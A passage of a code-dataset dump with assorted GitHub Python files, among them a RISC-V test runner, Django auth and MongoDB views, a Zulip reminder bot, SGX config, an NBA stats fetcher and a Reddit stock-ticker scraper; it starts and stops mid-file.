args_dict ['elf_to_hex_exe'] = elf_to_hex_exe\n\n    sys.stdout.write (\"Parameters:\\n\")\n    for key in iter (args_dict):\n        sys.stdout.write (\"    {0:<16}: {1}\\n\".format (key, args_dict [key]))\n\n    # Perform the recursive traversal\n    max_level = 20\n    traverse (max_level, 0, args_dict)\n\n    # Write final statistics\n    sys.stdout.write (\"Executed: {0} tests\\n\".format (num_executed))\n    sys.stdout.write (\"PASS:     {0} tests\\n\".format (num_passed))\n\n\n# ================================================================\n# Extract the architecture string (e.g., RV64AIMSU) from the string s\n\ndef extract_arch_string (s):\n    s1     = s.upper()\n    j_rv32 = s1.find (\"RV32\")\n    j_rv64 = s1.find (\"RV64\")\n\n    if (j_rv32 >= 0):\n        j = j_rv32\n    elif (j_rv64 >= 0):\n        j = j_rv64\n    else:\n        sys.stderr.write (\"ERROR: cannot find architecture string beginning with RV32 or RV64 in: \\n\")\n        sys.stderr.write (\"    '\" + s + \"'\\n\")\n        sys.exit (1)\n\n    k = j + 4\n    rv = s1 [j:k]\n\n    extns = \"\"\n    while (k < len (s)):\n        ch = s [k]\n        if (ch < \"A\") or (ch > \"Z\"): break\n        extns = extns + s [k]\n        k     = k + 1\n\n    arch = rv + extns\n    return arch\n\n# ================================================================\n# Select ISA test families based on provided arch string\n\ndef select_test_families (arch):\n    arch = arch.lower ()\n    families = []\n\n    if arch.find (\"32\") != -1:\n        rv = 32\n        families = [\"rv32ui-p\", \"rv32mi-p\"]\n    else:\n        rv = 64\n        families = [\"rv64ui-p\", \"rv64mi-p\"]\n\n    if (arch.find (\"s\") != -1):\n        s = True\n        if rv == 32:\n            families.extend ([\"rv32ui-v\", \"rv32si-p\"])\n        else:\n            families.extend ([\"rv64ui-v\", \"rv64si-p\"])\n    else:\n        s = False\n\n    def add_family (extension):\n        if (arch.find (extension) != -1):\n            if rv == 32:\n                families.append (\"rv32u\" + extension + \"-p\")\n                if s:\n                    families.append (\"rv32u\" + extension + \"-v\")\n            else:\n                families.append (\"rv64u\" + extension + \"-p\")\n                if s:\n                    families.append (\"rv64u\" + extension + \"-v\")\n\n    add_family (\"m\")\n    add_family (\"a\")\n    add_family (\"f\")\n    add_family (\"d\")\n    add_family (\"c\")\n\n    return families\n\n# ================================================================\n# Recursively traverse the dir tree below elf_path and process each file\n\ndef traverse (max_level, level, args_dict):\n    elfs_path = args_dict ['elfs_path']\n    st = os.stat (elfs_path)\n    is_dir = stat.S_ISDIR (st.st_mode)\n    is_regular = stat.S_ISREG (st.st_mode)\n    do_foreachfile_function (level, is_dir, is_regular, args_dict)\n    if is_dir and level < max_level:\n        for entry in os.listdir (elfs_path):\n            elfs_path1 = os.path.join (elfs_path, entry)\n            args_dict1 = args_dict.copy ()\n            args_dict1 ['elfs_path'] = elfs_path1\n            traverse (max_level, level + 1, args_dict1)\n    return 0\n\n# ================================================================\n# This function is applied to every path in the\n# recursive traversal\n\ndef do_foreachfile_function (level, is_dir, is_regular, args_dict):\n    prefix = \"\"\n    for j in range (level): prefix = \"  \" + prefix\n    elfs_path = args_dict ['elfs_path']\n\n    # directories\n    if is_dir:\n        print (\"%s%d dir %s\" % (prefix, level, elfs_path))\n\n    # regular files\n    elif is_regular:\n        dirname  = os.path.dirname (elfs_path)\n        basename = os.path.basename (elfs_path)\n        # print (\"%s%d %s\" % (prefix, level, elfs_path))\n        do_regular_file_function (level, dirname, basename, args_dict)\n\n    # other files\n    else:\n        print (\"%s%d Unknown file type: %s\" % (prefix, level, os.path.basename (elfs_path)))\n\n# ================================================================\n# For each ELF file, execute it in the RISC-V simulator\n\ndef do_regular_file_function (level, dirname, basename, args_dict):\n    global num_executed\n    global num_passed\n\n    full_filename = os.path.join (dirname, basename)\n\n    # Ignore filename if has any extension (heuristic that it's not an ELF file)\n    if \".\" in basename: return\n\n    # Ignore filename if does not match test_families\n    ignore = True\n    for x in args_dict ['test_families']:\n        if basename.find (x) != -1: ignore = False\n    if ignore:\n        # print (\"Ignoring file: \" + full_filename)\n        return\n\n    # TEMPORARY FILTER WHILE DEBUGGING:\n    # if basename.find (\"rv64ui-v-add\") == -1: return\n    # sys.stdout.write (\"WARNING: TEMPORARY FILTER IN EFFECT; REMOVE AFTER DEBUGGING\\n\")\n\n    # For debugging only\n    # prefix = \"\"\n    # for j in range (level): prefix = \"  \" + prefix\n    # sys.stdout.write (\"{0}{1} ACTION:    {2}\\n\".format (prefix, level, full_filename))\n\n    # Construct the commands for sub-process execution\n    command1 = [args_dict ['elf_to_hex_exe'], full_filename, \"Mem.hex\"]\n\n    command2 = [args_dict ['sim_path'],  \"+tohost\"]\n    if (args_dict ['verbosity'] == 1): command2.append (\"+v1\")\n    elif (args_dict ['verbosity'] == 2): command2.append (\"+v2\")\n\n    num_executed = num_executed + 1\n    sys.stdout.write (\"Test {0}: {1}\\n\".format (num_executed, basename))\n\n    sys.stdout.write (\"    Exec:\")\n    for x in command1:\n        sys.stdout.write (\" {0}\".format (x))\n    sys.stdout.write (\"\\n\")\n\n    sys.stdout.write (\"    Exec:\")\n    for x in command2:\n        sys.stdout.write (\" {0}\".format (x))\n    sys.stdout.write (\"\\n\")\n\n    # Run command as a sub-process\n    completed_process1 = run_command (command1)\n    completed_process2 = run_command (command2)\n    passed = completed_process2.stdout.find (\"PASS\") != -1\n    if passed:\n        sys.stdout.write (\"    PASS\")\n        num_passed = num_passed + 1\n    else:\n        sys.stdout.write (\"    FAIL\")\n\n    # Save stdouts in log file\n    log_filename = os.path.join (args_dict ['logs_path'], basename + \".log\")\n    sys.stdout.write (\"    Writing log: {0}\\n\".format (log_filename))\n\n    fd = open (log_filename, 'w')\n    fd.write (completed_process1.stdout)\n    fd.write (completed_process2.stdout)\n    fd.close ()\n\n    # If Tandem Verification trace file was created, save it as well\n    if os.path.exists (\"./trace_out.dat\"):\n        trace_filename = os.path.join (args_dict ['logs_path'], basename + \".trace_data\")\n        os.rename (\"./trace_out.dat\", trace_filename)\n        sys.stdout.write (\"    Trace output saved in: {0}\\n\".format (trace_filename))\n\n    return\n\n# ================================================================\n# This is a wrapper around 'subprocess.run' because of an annoying\n# incompatible change in moving from Python 3.5 to 3.6\n\ndef run_command (command):\n    python_minor_version = sys.version_info [1]\n    if python_minor_version < 6:\n        # Python 3.5 and earlier\n        result = subprocess.run (args = command,\n                                 bufsize = 0,\n                                 stdout = subprocess.PIPE,\n                                 stderr = subprocess.STDOUT,\n                                 universal_newlines = True)\n    else:\n        # Python 3.6 and later\n        result = subprocess.run (args = command,\n                                 bufsize = 0,\n                                 stdout = subprocess.PIPE,\n                                 stderr = subprocess.STDOUT,\n                                 encoding='utf-8')\n    return result\n\n# ================================================================\n# For non-interactive invocations, call main() and use its return value\n# as the exit code.\nif __name__ == '__main__':\n  sys.exit (main (sys.argv))\n","repo_name":"qicny/Flute","sub_path":"Tests/Run_regression.py","file_name":"Run_regression.py","file_ext":"py","file_size_in_byte":12031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"}
+{"seq_id":"21388018818","text":"import sys\n\ndef dict_words(filename):       #buid up a dictionary of the words of the filename\n    f = open(filename,'r')      #load filename to f ready for reading\n    dictword = {}               #build up a dictionary\n    for line in f:              #look for every line of the file f\n        word = line.split()     #split the line in words\n        for w in word:          #look for every word of each line\n            w = w.lower()       #replace each word by its lowercase version\n            if w in dictword:   #check if the word already is in the dictionary\n                dictword[w] = dictword[w] + 1#increments the value of this word\n            else:\n                dictword[w] = 1    #if 1st time, set value 1\n    f.close()\n    return dictword             #return a dictionary of key/value\n\ndef print_words(filename):      #print the dictionary of words from the filename\n    dictword = dict_words(filename) #build up the dictionary\n    word = sorted(dictword.keys())  #sort the dictionary by the key word\n    for w in word:                  #look for every key/value of the dictionary\n        print(w, ' ' ,dictword[w])  #print a key value pair\n        print                       #return to next line\n\ndef print_top(filename):\n    dictword = dict_words(filename) #build up the dictionary\n    items = sorted(dictword.items(),key=get_count, reverse=True)#sort the dictionnary reversely by value\n    for i in items[:20]:            #look for the 1st 20 items\n        print(i[0], ' ' , i[1])     #print the key value pair\n        print\n\ndef get_count(thetuple):    #return the value of the tuple\n    return thetuple[1]\n#\n###\n\n# This basic command line argument parsing code is provided and\n# calls the print_words() and print_top() functions which you must define.\ndef main():\n  if len(sys.argv) != 3:\n    print ('usage: ./wordcount.py {--count | --topcount} file')\n    sys.exit(1)\n\n  option = sys.argv[1]\n  filename = sys.argv[2]\n  if option == '--count':\n    print_words(filename)\n  elif option == '--topcount':\n    print_top(filename)\n  else:\n    print ('unknown option: ' + option)\n    sys.exit(1)\n\nif __name__ == '__main__':\n  main()\n","repo_name":"SkatiRCI/starter-kit-datascience","sub_path":"pascal-damesin/Lesson1/wordcount.py","file_name":"wordcount.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"}
+{"seq_id":"22672692875","text":"import filecmp\nimport json\nimport unittest\n\nfrom replicate import rewrite_config\n\n\nclass MyTestCase(unittest.TestCase):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.maxDiff = None\n\n    def test_config(self):\n        with open('test-config.json', 'r') as i, open('.actual.json', 'w') as a, open(\"expected.json\") as e:\n            config = json.load(i)\n            rewritten = rewrite_config(config, source_api='http://example.com',\n                                       system_name='upstream')\n            expected_config = json.load(e)\n            self.assertEqual(rewritten, expected_config)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"sesam-community/replicated-env","sub_path":"replicate-tests.py","file_name":"replicate-tests.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"18870891575","text":"\n\n@api_view([\"POST\"])\n@permission_classes([AllowAny])\ndef Register_Users(request):\n    try:\n        data = []\n        serializer = RegistrationSerializer(data=request.data)\n        if serializer.is_valid():\n            account = serializer.save()\n            account.is_active = True\n            account.save()\n            token = Token.objects.get_or_create(user=account)[0].key\n            data[\"message\"] = \"user registered successfully\"\n            data[\"email\"] = account.email\n            data[\"username\"] = account.username\n            data[\"token\"] = token\n        else:\n            data = serializer.errors\n        return Response(data)\n    except IntegrityError as e:\n        account=User.objects.get(username='')\n        account.delete()\n        raise ValidationError({\"400\": f'{str(e)}'})\n    except KeyError as e:\n        print(e)\n        raise ValidationError({\"400\": f'Field {str(e)} missing'})\n\n@api_view([\"POST\"])\n@permission_classes([AllowAny])\ndef login_user(request):\n        data = {}\n        reqBody = json.loads(request.body)\n        email1 = reqBody['Email_Address']\n        print(email1)\n        password = reqBody['password']\n        try:\n            Account = User.objects.get(Email_Address=email1)\n        except BaseException as e:\n            raise ValidationError({\"400\": f'{str(e)}'})\n        token = Token.objects.get_or_create(user=Account)[0].key\n        print(token)\n        if not check_password(password, Account.password):\n            raise ValidationError({\"message\": \"Incorrect Login credentials\"})\n        if Account:\n            if Account.is_active:\n                print(request.user)\n                login(request, Account)\n                data[\"message\"] = \"user logged in\"\n                data[\"email_address\"] = Account.email\n                Res = {\"data\": data, \"token\": token}\n                return Response(Res)\n\n@api_view([\"GET\"])\n@permission_classes([IsAuthenticated])\ndef User_logout(request):\n    request.user.auth_token.delete()\n    logout(request)\n    return Response('User Logged out successfully')\n\n    ","repo_name":"romsha28/hospital_python","sub_path":"hospitalapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43613027311","text":"import cv2\nimport face_recognition\n\nimgHuz=face_recognition.load_image_file('data/huz.jpg')\nimgHuz=cv2.cvtColor(imgHuz,cv2.COLOR_BGR2RGB)\nimgTest=face_recognition.load_image_file('data/TestHuz.jpg')\nimgTest=cv2.cvtColor(imgTest,cv2.COLOR_BGR2RGB)\n\nfaceLoc=face_recognition.face_locations(imgHuz)[0]\nencodeHuz=face_recognition.face_encodings(imgHuz)[0]\ncv2.rectangle(imgHuz,(faceLoc[3],faceLoc[0]),(faceLoc[1],faceLoc[2]),(255,0,255),2)\n\nfaceLocTest=face_recognition.face_locations(imgTest)[0]\nencodeHuzTest=face_recognition.face_encodings(imgTest)[0]\ncv2.rectangle(imgTest,(faceLocTest[3],faceLocTest[0]),(faceLocTest[1],faceLocTest[2]),(255,0,255),2)\n\nresult=face_recognition.face_distance([encodeHuz],encodeHuzTest)\nprint(result)\ncv2.imshow('huz',imgTest)\ncv2.waitKey(0)\n\n\n\n\n# face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n# cap = cv2.VideoCapture(0)\n# # for external Ip camera\n# # cap = cv2.VideoCapture('192.168.1.100:8080/video')\n# # model=prdf.LoadModel()\n# while True:\n#     _, img = cap.read()\n#     gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n#     faces = face_cascade.detectMultiScale(gray, 1.1, 4)\n#     for (x, y, w, h) in faces:\n#         cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)\n\n\n#         # cv2.putText(img,prdf.runModel(model,img),(x,y),cv2.FONT_HERSHEY_DUPLEX,1,(255,0,0),3)\n#     cv2.imshow('img', img)\n#     k = cv2.waitKey(30) & 0xff\n#     if k==27:\n#         break\n# cap.release()","repo_name":"huxe/Facial-Recognition-System","sub_path":"faceRecognition.py","file_name":"faceRecognition.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9309752037","text":"import calendar\nimport csv\nimport datetime\nfrom io import StringIO\n\nimport zulip\nimport requests\nfrom decouple import config\nfrom github import Github\nfrom loguru import logger\nfrom rich.traceback import install\n\nfrom utils import (construct_assigned_issues, construct_issue_message,\n                   construct_meeting_message, get_assigned_users, get_names,\n                   get_table_ignored_assignees, get_table_open_issues,\n                   get_table_zulip_members, get_zulip_id_from_assignee)\n\ninstall(show_locals=True)\n\ntoday = datetime.datetime.now()\nmonth = calendar.monthcalendar(today.year, today.month)\nlast_sunday = max(month[-1][calendar.SUNDAY], month[-2][calendar.SUNDAY])\n\n# Pass the path to your zuliprc file here.\nzulip_client = zulip.Client(email=\"reminder-bot@mongulu.zulipchat.com\", api_key=config('API_KEY'),\n                            site=\"https://mongulu.zulipchat.com\")\n\ntoken = config(\"GH_TOKEN\")\ng = Github(token, verify=False)\n\nif config(\"REMINDER_TYPE\", default=\"\") == \"ISSUES\" and today.weekday() == 3:\n\n    t1 = get_table_open_issues(g)\n    t1.present()\n    t2 = get_table_zulip_members(zulip_client)\n    t2.present()\n\n    names = get_names(t2)\n    assignees, ignored_assignees = get_assigned_users(t1, names)\n\n    for assignee in assignees:\n        zulip_message = construct_issue_message(list(t1.where(lambda o: assignee in o.Assignees)))\n\n        zulip_id = get_zulip_id_from_assignee(t2, names, assignee)\n        request = {\"type\": \"private\", \"to\": [zulip_id], \"content\": f\" {zulip_message}\"}\n        result = zulip_client.send_message(request)\n        logger.info(f\"👉 {result}\")\n\n    if len(ignored_assignees) != 0:\n        t3 = get_table_ignored_assignees(ignored_assignees)\n        messages = construct_assigned_issues(t3.as_markdown())\n        for zulip_message in messages:\n            request = {\"type\": \"private\", \"to\": [470841], \"content\": f\"{zulip_message}\"}\n            result = zulip_client.send_message(request)\n            logger.info(f\"👉 {result}\")\n\nif config(\"REMINDER_TYPE\", default=\"\") != \"ISSUES\" and today.weekday() != 3:\n\n    zulip_message, sms_message = construct_meeting_message(today, last_sunday)\n    if zulip_message != \"\":\n        zulip_ids = get_table_zulip_members(zulip_client).all.user_id\n        for zulip_id in zulip_ids:\n            request = {\"type\": \"private\", \"to\": [zulip_id], \"content\": f\" {zulip_message} \"}\n            result = zulip_client.send_message(request)  # zulip automatically send also an email to the users\n            logger.info(f\"👉 {result}\")\n\n    if sms_message != \"\":\n        headers = {'Priority': '3', 'Title': \"Mongulu: meeting reminder\"}\n        response = requests.post('https://ntfy.mongulu.cm/meetings', headers=headers,\n                                 data=sms_message.encode(encoding='utf-8'))\n        response.raise_for_status()\n        logger.info(f\"👉  message successfully sent: {sms_message}\")\n","repo_name":"mongulu-cm/lobembe","sub_path":"scripts/reminder.py","file_name":"reminder.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"72375752746","text":"import os\n\n#######################################################\n# Constants used in the configuration (DO NOT CHANGE) #\n\n# Quote types\nQUOTE_UNLINKABLE_SIGNATURE = b\"\\x00\\x00\"\nQUOTE_LINKABLE_SIGNATURE = b\"\\x01\\x00\"\n\n# Key derivation function IDs. Currently the only key derivation function is AES-CMAC.\nAES_CMAC_KDF_ID = b\"\\x01\\x00\"\n\n#######################################################\n\n# Change this to the SPID Intel assigned to you\nSPID = \"79DFAE246EF4F7BA7D564C07C3873308\"\n\n# Change this to the type you chose during the Intel Attestation Service registration\nQUOTE_TYPE = QUOTE_LINKABLE_SIGNATURE\n\n# Currently this is the only curve supported by the Intel SGX SDK\nCURVE = \"SECP256R1\"\n\n# Currently this is the only key derivation function supported by the Intel SGX SDK\nKDF_ID = b\"\\x01\\x00\"\n\nKEY_DIR = os.path.expanduser(\"~/.sgx-ra-challenger\")\nSSL_CERT_PATH = os.path.join(KEY_DIR, \"fullchain.pem\")\nSSL_KEY_PATH = os.path.join(KEY_DIR, \"privkey.pem\")\nIAS_PUBKEY_PATH = os.path.join(KEY_DIR, \"RK_PUB.PEM\")\n\n# Development Services Environment\nIAS_HOST = \"test-as.sgx.trustedservices.intel.com\"\n\n# Production Environment\n# IAS_HOST = \"as.sgx.trustedservices.intel.com\"\n\nIAS_PORT = 443\n","repo_name":"adombeck/sgx-ra-challenger","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"}
+{"seq_id":"70088908269","text":"from django.db import models\nfrom usuarios.models import Carrera, Usuario\n# Create your models here.\n\nclass Profesor(models.Model):\n    nombre =  models.CharField(max_length=50)\n    apellidos =  models.CharField(max_length=50)\n    carrera =  models.ForeignKey(Carrera, on_delete=True)\n    usuario =  models.ForeignKey(Usuario, on_delete=True)\n\n    class Meta:\n        verbose_name = 'profesor'\n        verbose_name_plural = 'profesores'\n    def __str__(self):\n        return self.nombre + ' ' + self.apellidos\n\n","repo_name":"cristian3457/Escuela-Django","sub_path":"Profesor/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31035986174","text":"'''\n200. Number of Islands\nMedium\n\nGiven a 2d grid map of '1's (land) and '0's (water), count the number of islands. An island is surrounded by water and is formed by connecting adjacent lands horizontally or vertically. You may assume all four edges of the grid are all surrounded by water.\n\nExample 1:\n\nInput:\n11110\n11010\n11000\n00000\n\nOutput: 1\n\nExample 2:\n\nInput:\n11000\n11000\n00100\n00011\n\nOutput: 3\n\n'''\n\nclass Solution:\n    def numIslands(self, grid: List[List[str]]) -> int:\n        if len(grid) <1:\n            return 0\n        islands = 0\n        rows,cols = len(grid),len(grid[0])\n        def dfs(row,col):\n            if row>=0 and (row<rows) and col>=0 and (col<cols) and (grid[row][col] == '1'):\n                grid[row][col] = '2'\n                dfs(row+1,col)\n                dfs(row-1,col)\n                dfs(row,col+1)\n                dfs(row,col-1)\n        for r in range(rows):\n            for c in range(cols):\n                cell = grid[r][c]\n                if cell == '1':\n                    print(\"row=\",r,\"col\",c)\n                    islands+=1\n                    dfs(r,c)\n                else : \n                    continue\n        for i in grid:\n            print(i)\n        return islands\n       \n'''\n#faster solution using dfs and set\nclass Solution:\n    def numIslands(self, grid: List[List[str]]) -> int:\n        if len(grid) <1:\n            return 0\n        islands = 0\n        land = set()\n        for r in range(len(grid)):\n            for c in range(len(grid[0])):\n                if grid[r][c] == '1':\n                    land.add((r,c))\n        def dfs(r,c):\n            if (r,c) in land:\n                land.remove((r,c))\n                dfs(r+1,c)\n                dfs(r-1,c)\n                dfs(r,c+1)\n                dfs(r,c-1)\n        while land:\n            cell = land.pop()\n            land.add(cell)\n            \n            dfs(cell[0],cell[1])\n            islands+=1\n            \n        return islands\n                    \n'''\n","repo_name":"avinash-rath/DSAlgo","sub_path":"leetcode/python/number_of_islands.py","file_name":"number_of_islands.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"}
+{"seq_id":"70034454507","text":"print('''WELCOME TO BATMAN COURIER SERVICE:\n1.Book courier service\n2.View billing details\n3.View details of courier delivery boys\n4.exit\n''')\nop= int(input(\"Enter choice:    \"))\nif op == 1:\n    import book_service\nelif op == 2:\n    import billing\nelif op==3:\n    import delivery_det\nelse:\n    print(\"Thank you :) \")","repo_name":"erum-meraj/learning-python","sub_path":"12th/bridge_course_project/courier_service/MENU.py","file_name":"MENU.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"18623640223","text":"import json\nfrom django.shortcuts import render,redirect\nfrom bson import ObjectId\nfrom pymongo import MongoClient\nfrom pymongo import MongoClient\nfrom bson import ObjectId\nimport pandas as pd\n\n\n# data=pd.read_csv(\"finalusers\")\n# data2=pd.read_csv(\"values\")\n# activeusers=data2[\"0\"]\n# str_values = [str(value) for value in activeusers]\n# str_values\n# filtered_df1 = data[data['user_id'].isin(str_values)]\n# filtered_df1=filtered_df1[filtered_df1[\"client\"].notnull()]\n# # filtered_df1[\"client\"].unique()\n# clients=list(filtered_df1[\"client\"].unique())\n# clients\n# filtered_df1[filtered_df1[\"client\"]==\"Reliable Kota\"].shape[0]\n# count={}\n# for client in clients:\n#     count[client]=filtered_df1[filtered_df1[\"client\"]==client].shape[0]\n\n\n# def setvariables(request):\n#             client = request.POST.get('client_name')\n#             date = request.POST.get('date')\n#             print(client)\n#             if client is not None and date is not None:\n#                 print(\"hii\")\n\n\n#                 request.session['client'] = client\n#                 request.session['date'] = date\n\n\n#                 print(request.session.get('client'))\n#                 print(request.session.get('date'))\n\n#                 data=pd.read_csv(\"finalusers\")\n#                 data2=pd.read_csv(\"values\")\n#                 activeusers=data2[\"0\"]\n#                 filtered_df1 = data[data['user_id'].isin(activeusers)]\n#                 filtered_df1=filtered_df1[filtered_df1[\"client\"].notnull()]\n\n\n#                 request.session['users'] =list(filtered_df1[filtered_df1[\"client\"]==request.session['client']][\"user_id\"])\n\n#                 client = MongoClient(\"mongodb://65.2.116.84:27017/\")  # Replace with your MongoDB connection string\n#                 db = client[\"production\"]\n#                 collection2 = db[\"users\"]\n#                 projection = {\"_id\": 1, \"email\": 1}\n\n#                 usersobj = [ObjectId(value) for value in request.session['users']]\n\n#                 users2 = collection2.find({\"_id\": {\"$in\": usersobj}}, projection)\n#                 email_mapping = {str(user[\"_id\"]): user[\"email\"] for user in users2}\n\n\n#                 request.session['email-mapping']=email_mapping\n#                 print(request.session['email-mapping'])\n#                 # request.session['users'] = [ObjectId(value) for value in request.session['users']]\n#                 # print(request.session['users'])\n#                 current_path = request.path\n#             # Append \"/session\" to the current URL path\n#                 new_path = current_path + 'client_session/'\n\n#         # Redirect to the new URL\n#                 return redirect(new_path)\n#             # return render(request,'D:/data analysis/dataanalysis/myapp/templates/mainpage.html') \n#             count1=json.dumps(count)\n#             context={\n#                    'clients':count1\n#             } \n#             return render(request,'client.html',context)\n\n# def dataanalysis(request):\n#     return render(request,'myapp/templates/mainpage')\n\n# def set(request):\n\ndef setvariables(request):\n\n    if request.method == 'POST':\n\n        client = MongoClient(\"mongodb://65.2.116.84:27017/\")  \n        db = client[\"production\"]  \n\n        client = request.POST.get('client_name')\n        startdate = request.POST.get('date')\n        enddate = request.POST.get('edate')\n\n        collection = db[\"clients\"] \n\n        request.session['client']=client\n        request.session['date'] = startdate\n        request.session['edate'] = enddate\n\n        phases = collection.find_one({\"name\": client})\n        phase_ids = [str(phase) for phase in phases[\"phases\"]]\n        collection1=db['users']\n        collection1.create_index(\"subscriptions.subgroups.phases.phase\")\n\n        pipeline = [\n            {\n                \"$match\": {\n                    \"subscriptions.subgroups.phases.phase\": {\"$in\": [ObjectId(phase_id) for phase_id in phase_ids]}\n                }\n            },\n            {\n                \"$project\": {\n                    \"_id\": 1,\n                    \"email\": 1\n                }\n            }\n        ]\n\n        result = collection1.aggregate(pipeline)\n\n        user_dict = {str(user[\"_id\"]): user[\"email\"] for user in result}\n\n        request.session['email-mapping']=user_dict\n\n        request.session['users']=list(user_dict.keys())\n        # print(len(request.session['users']))\n        # request.session[\"obj_user\"]=[ObjectId(user)  for user in request.session['users']]\n\n        current_path = request.path\n        new_path = current_path + 'activeuser/'\n\n\n\n        def get_phase_data():\n            pipeline = [\n                {\n                    '$unwind': '$phases'\n                },\n                {\n                    '$lookup': {\n                        'from': 'phases',\n                        'localField': 'phases',\n                        'foreignField': '_id',\n                        'as': 'phase_info'\n                    }\n                },\n                {\n                    '$project': {\n                        '_id': 0,\n                        'client': '$name',\n                        'phase_id': '$phases',\n                        'phase_name': { '$arrayElemAt': [ '$phase_info.name', 0 ] }\n                    }\n                },\n                {\n                    '$group': {\n                        '_id': '$client',\n                        'phases': {\n                            '$push': {\n                                'phase_id': '$phase_id',\n                                'phase_name': { '$ifNull': ['$phase_name', 'Phase Not Found'] }\n                            }\n                        }\n                    }\n                }\n            ]\n\n            result = db['clients'].aggregate(pipeline)\n\n            data = []\n            for item in result:\n                client = item['_id']\n                phases = item['phases']\n                for phase in phases:\n                    data.append({\n                        'client': client,\n                        'phase_id': phase['phase_id'],\n                        'phase_name': phase['phase_name']\n                    })\n\n            return pd.DataFrame(data)\n\n        df = get_phase_data()\n\n\n        filterByClient=df[df[\"client\"]==request.session[\"client\"]]\n\n        phases=filterByClient[\"phase_name\"]\n        \n        totalPhasesOfClient=len(phases)\n\n        request.session[\"totalPhasesOfclient\"]=totalPhasesOfClient\n        request.session[\"clientDataframe\"]=filterByClient.to_json(orient='records',force_ascii=False, date_format='iso', default_handler=str)\n            \n\n        return redirect(new_path)\n    return render(request,'client.html')\n","repo_name":"Bhagyashah05/dataanalysis","sub_path":"clientselect/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14304030090","text":"\"\"\"\nThis module retrieves team game log data (regular season and playoff) and team\nseason data, and store the data inside a JSON file\n\"\"\"\n\n# general imports\nimport json\nimport os.path\n\nfrom nba_py import team, constants\n\nfrom constant import TEAM_BASE_PATH\nfrom constant import TEAM_PLAYOFF_PATH\nfrom constant import TEAM_SEASON_PATH\nfrom constant import TEAM_DICT\n\n\n# helper functions\ndef create_game_logs_file(team_id):\n    \"\"\"Creates file for each NBA team containing game info from last season\n\n    :param team_id: ID number of the team\n    \"\"\"\n    # team game log\n    path = os.path.join(TEAM_BASE_PATH, TEAM_DICT[team_id] + '.json')\n    if not os.path.exists(path):\n        print(\"Retrieving team \" + TEAM_DICT[team_id] +\n              \" game log, season stats ... Please wait.\")\n        game_logs = team.TeamGameLogs(team_id, '2016-17').json\n        with open(path, 'w') as outfile:\n            json.dump(game_logs, outfile)\n\n    # playoff game log\n    playoff_path = os.path.join(TEAM_PLAYOFF_PATH, TEAM_DICT[team_id] + '.json')\n    if not os.path.exists(playoff_path):\n        playoff_games = team.TeamGameLogs(team_id, '2016-17',\n                                          constants.SeasonType.Playoffs).json\n        if len(playoff_games['resultSets'][0]['rowSet']):\n            with open(playoff_path, 'w') as playoff_files:\n                json.dump(playoff_games, playoff_files)\n\n    # season stats\n    season_path = os.path.join(TEAM_SEASON_PATH, TEAM_DICT[team_id] + '.json')\n    if not os.path.exists(season_path):\n        season_stats = team.TeamSeasons(team_id).json\n        with open(season_path, 'w') as season_files:\n            json.dump(season_stats, season_files)\n\n\ndef init():\n    \"\"\"Loop through every single team ID and create a file\n    \"\"\"\n    for team_id in TEAM_DICT.keys():\n        create_game_logs_file(team_id)\n","repo_name":"larryworm1127/nba_simulator","sub_path":"stats_files/team_stats.py","file_name":"team_stats.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21568391227","text":"from pandas.tseries import frequencies\nimport praw\nimport re\nimport pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt \n\nfrom matplotlib.pyplot import figure \n\nfrom alpha_vantage.timeseries import TimeSeries\n\nreddit_application = praw.Reddit(client_id='', \n                         client_secret='', \n                         user_agent='', \n                         username='', \n                         password='')\n\nsubreddit = reddit_application.subreddit('wallstreetbets')\n\nwith open('nasdaqtraded.txt') as f: \n    lines = f.readlines() \n\ncompanies = lines[1:]\nnasdaq_symbols = {}\nwsb_symbols = {}\n\nfor c in companies:\n    symbol = c[2:c.find('|',2)]\n    nasdaq_symbols[symbol] = 1 \n\nregex = r'\\b([A-Z]+)\\b'\n\nfor post in subreddit.top('week'):\n    strings = [post.title]\n    post.comments.replace_more(limit=0)\n\n    for comment in post.comments.list():\n        strings.append(comment.body)\n\n    for s in strings:\n        for phrase in re.findall(regex, s):\n            if phrase in nasdaq_symbols:\n                if phrase not in wsb_symbols:\n                    wsb_symbols[phrase] = 1\n                else:\n                    wsb_symbols[phrase] += 1\n\nseries = pd.Series(wsb_symbols).sort_values(ascending = False)\nprint(series[:25])\n\nstocks = (series[:25].keys())\ny_pos = np.arange(len(stocks))\nfrequency = list(series[:25].values)\n\nplt.bar(y_pos, frequency, align='center', alpha=0.5)\nplt.xticks(y_pos, 